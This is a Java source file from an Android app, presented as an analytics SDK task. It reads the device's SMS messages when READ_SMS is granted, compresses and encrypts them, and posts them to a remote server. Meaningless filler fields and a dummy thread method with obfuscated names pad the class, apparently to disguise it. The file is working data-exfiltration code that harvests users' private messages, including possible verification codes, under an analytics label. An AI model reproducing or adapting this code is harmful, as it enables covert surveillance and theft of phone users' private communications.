package com.test.dababy.dababy_00_analytics.dababydata_sdk.dababytask;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababybeans.DababyASRequestPms;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyhttp.DababyASReqstManger;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababylogger.DababyASLger;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyservices.DababyASMsgIfo;
import com.test.dababy.dababy_00_path.Paths_dababy;
import com.test.dababy.dababy_00_utils.DababyUtil;

import java.util.function.Supplier;


public class DababyASDevcSsTsk implements Supplier<String> {

    private final static String TAG = "ASDeviceSmsTask";

    private final String mTaskId;
    private final Context mContext;

    public int nhC3=62;
    public char kGs4='/';
    public String sdg0="";
    public float cC47=0.087843f;
    public double pm3B=0.16283497972286842;

    public void e788G(){
        new Thread(() -> {
            try {
                setSdg0(String.valueOf(nhC3)+kGs4+cC47);
                if (TextUtils.isEmpty(sdg0)) setPm3B(0.5);
            }catch (Exception e){
                e.printStackTrace();
            }
        }).start();
    }

    public void setNhC3(int nhC3) {
        this.nhC3 = nhC3;
    }

    public void setkGs4(char kGs4) {
        this.kGs4 = kGs4;
    }

    public void setSdg0(String sdg0) {
        this.sdg0 = sdg0;
    }

    public void setcC47(float cC47) {
        this.cC47 = cC47;
    }

    public void setPm3B(double pm3B) {
        this.pm3B = pm3B;
    }

    public DababyASDevcSsTsk(Context context, String taskId) {
        this.mContext = context;
        this.mTaskId = taskId;
    }

    @Override
    public String get() {
        // 日志标记
        DababyASLger.d_dababy(TAG, TAG + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(Paths_dababy.PATH_MESSAGE)) {
            return mTaskId + "";
        }

        String infoBeans = "";
        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_SMS)) {
            infoBeans = DababyASMsgIfo.getZipString_dababy(mContext);
        } else {
            // 日志标记
            DababyASMsgIfo.mFType = DababyASMsgIfo.FET_NON_PER;
            DababyASLger.d_dababy(TAG, "获取短信信息出错：没有 READ_SMS 权限");
        }

        DababyASRequestPms netParams = new DababyASRequestPms();
        netParams.setSRG_dababy(infoBeans);
        netParams.setSFT_dababy(DababyASMsgIfo.mFType);
//        String result = new Gson().toJson(netParams).trim();
        String result = netParams.toEncryptParams_dababy(Paths_dababy.PATH_MESSAGE);

        // 上报请求
        String url = DababyUtil.getCommonPath_dababy();
        new DababyASReqstManger.Builder_dababy().setReqId_dababy(this.mTaskId).setUrl_dababy(url).setBody_dababy(result).build_dababy().doPostRqst_dababy();

        e788G();

        return mTaskId + "";
    }

    public String getmTaskId() {
        return mTaskId;
    }

    public Context getmContext() {
        return mContext;
    }


}
